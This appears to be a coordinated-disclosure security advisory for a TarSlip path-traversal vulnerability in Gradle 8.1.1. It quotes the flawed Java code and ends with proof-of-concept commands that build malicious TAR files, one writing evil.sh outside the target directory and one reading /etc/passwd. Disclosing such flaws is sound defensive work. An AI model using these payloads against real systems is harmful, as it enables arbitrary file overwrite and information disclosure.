Coordinated Disclosure Timeline

Summary

Gradle 8.1.1 does not ensure that paths constructed from TAR archive entries are validated. This allows attackers who are able to manipulate a TAR file which is unpacked by a Gradle script to overwrite arbitrary files. It also allows attackers who are able to manipulate a TAR file which is read by a Gradle script to read arbitrary files.

Product

Gradle

Tested Version

v8.1.1

Details

TarSlip in TarFileTree.java (GHSL-2023-120)

Gradle retrieves archive entry names for TAR files from the safeEntryName method in TarFileTree.java, which returns entry names without validation:

https://github.com/gradle/gradle/subprojects/core/src/main/java/org/gradle/api/internal/file/archive/TarFileTree.java:221

protected String safeEntryName() {
   return entry.getName();
}

When unpacking a TAR file, the return value of the safeEntryName method becomes the details argument of the processFile method in FileCopyAction.java. The destination file target is directly constructed with the names of the entries in the TAR file. If the entry name contains path traversal sequences (../), this can result in the file being copied outside of the expected directory, causing an arbitrary file write on the filesystem:

https://github.com/gradle/gradle/subprojects/core/src/main/java/org/gradle/api/internal/file/copy/FileCopyAction.java:46

public void processFile(FileCopyDetailsInternal details) {
   File target = fileResolver.resolve(details.getRelativePath().getPathString()); // construction of `target` file using unvalidated TAR entry names
   renameIfCaseChanged(target);
   boolean copied = details.copyTo(target); // TAR file entries are copied to the unvalidated `target` file
   if (copied) {
       didWork = true;
   }
}

Note: the exploitation of this vulnerability is limited to directories where it is possible to set file permissions since copyTo will call chmod on the target file:

https://github.com/gradle/gradle/subprojects/file-collections/src/main/java/org/gradle/api/internal/file/AbstractFileTreeElement.java:85

public boolean copyTo(File target) {
    validateTimeStamps();
    try {
        if (isDirectory()) {
            GFileUtils.mkdirs(target);
        } else {
            GFileUtils.mkdirs(target.getParentFile());
            copyFile(target);
        }
        chmod.chmod(target, getImmutablePermissions().toUnixNumeric()); // set permissions on the `target` file
        return true;
    } catch (Exception e) {
        throw new CopyFileElementException(String.format("Could not copy %s to '%s'.", getDisplayName(), target), e);
    }
}

The return value of the safeEntryName method is also used to directly construct the file return value of the getFile method in AbstractArchiveFileTreeElement.java:

https://github.com/gradle/gradle/subprojects/core/src/main/java/org/gradle/api/internal/file/archive/AbstractArchiveFileTreeElement.java:68

public File getFile() {
   if (file == null) {
       file = new File(expandedDir, safeEntryName()); // construction of `file` using unvalidated TAR entry names
       if (!file.exists()) {
           GFileUtils.mkdirs(file.getParentFile());
           copyTo(file);
       }
   }
   return file;
}

The return value of getFile becomes an argument to a call to the openInputStream method of GFileUtils in TarFileTree.java. If the entry name contains path traversal sequences (../), this can result in an arbitrary file read:

https://github.com/gradle/gradle/subprojects/core/src/main/java/org/gradle/api/internal/file/archive/TarFileTree.java:206

public InputStream open() {
   if (read) {
       getFile();
       return GFileUtils.openInputStream(getFile()); // a `FileInputStream` is returned for an unvalidated file
   } else if (tar.getCurrentEntry() != entry) {
       throw new UnsupportedOperationException(String.format("The contents of %s has already been read.", this));
   } else {
       read = true;
       return tar;
   }
}

Impact

This issue may lead to arbitrary file write when TAR entries are unpacked or to information disclosure through an arbitrary file read when TAR entries are read.

Resources

As a proof of concept for arbitrary file write, a malicious TAR file can be built as follows:

echo "echo PWNED" > /path/to/evil.sh
tar cvf tarslip-write.tar ../../../../path/to/evil.sh

If a Gradle script extracts this TAR file using the following task, /path/to/evil.sh will be present in the filesystem:

tasks.register('unpackFiles', Copy) {
  from tarTree("tarslip-write.tar")
  into layout.buildDirectory.dir("resources")
}

As a proof of concept for arbitrary file read, a malicious TAR file can be built as follows:

tar cvf tarslip-read.tar /path/to/foo.txt ../../../../../../../../../../etc/passwd

If a Gradle script reaches the GFileUtils.openInputStream(getFile()) call in the TarFileTree$DetailsImpl.open() method, such as in the following script, /etc/passwd will be read from the filesystem:

static private String readFromInputStream(InputStream inputStream)
       throws IOException {
  StringBuilder resultStringBuilder = new StringBuilder();
  try (BufferedReader br
          = new BufferedReader(new InputStreamReader(inputStream))) {
     String line;
     while ((line = br.readLine()) != null) {
        resultStringBuilder.append(line).append("\n");
     }
  }
  return resultStringBuilder.toString();
}

task readFiles {
  tarTree("tarslip-read.tar").visit { FileVisitDetails details ->
     details.open()
     println readFromInputStream(details.open())
  }
}

CVE

Credit

This issue was discovered and reported by GitHub CodeQL team members @jcogs33 (Jami) and @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-120 in any communication regarding this issue.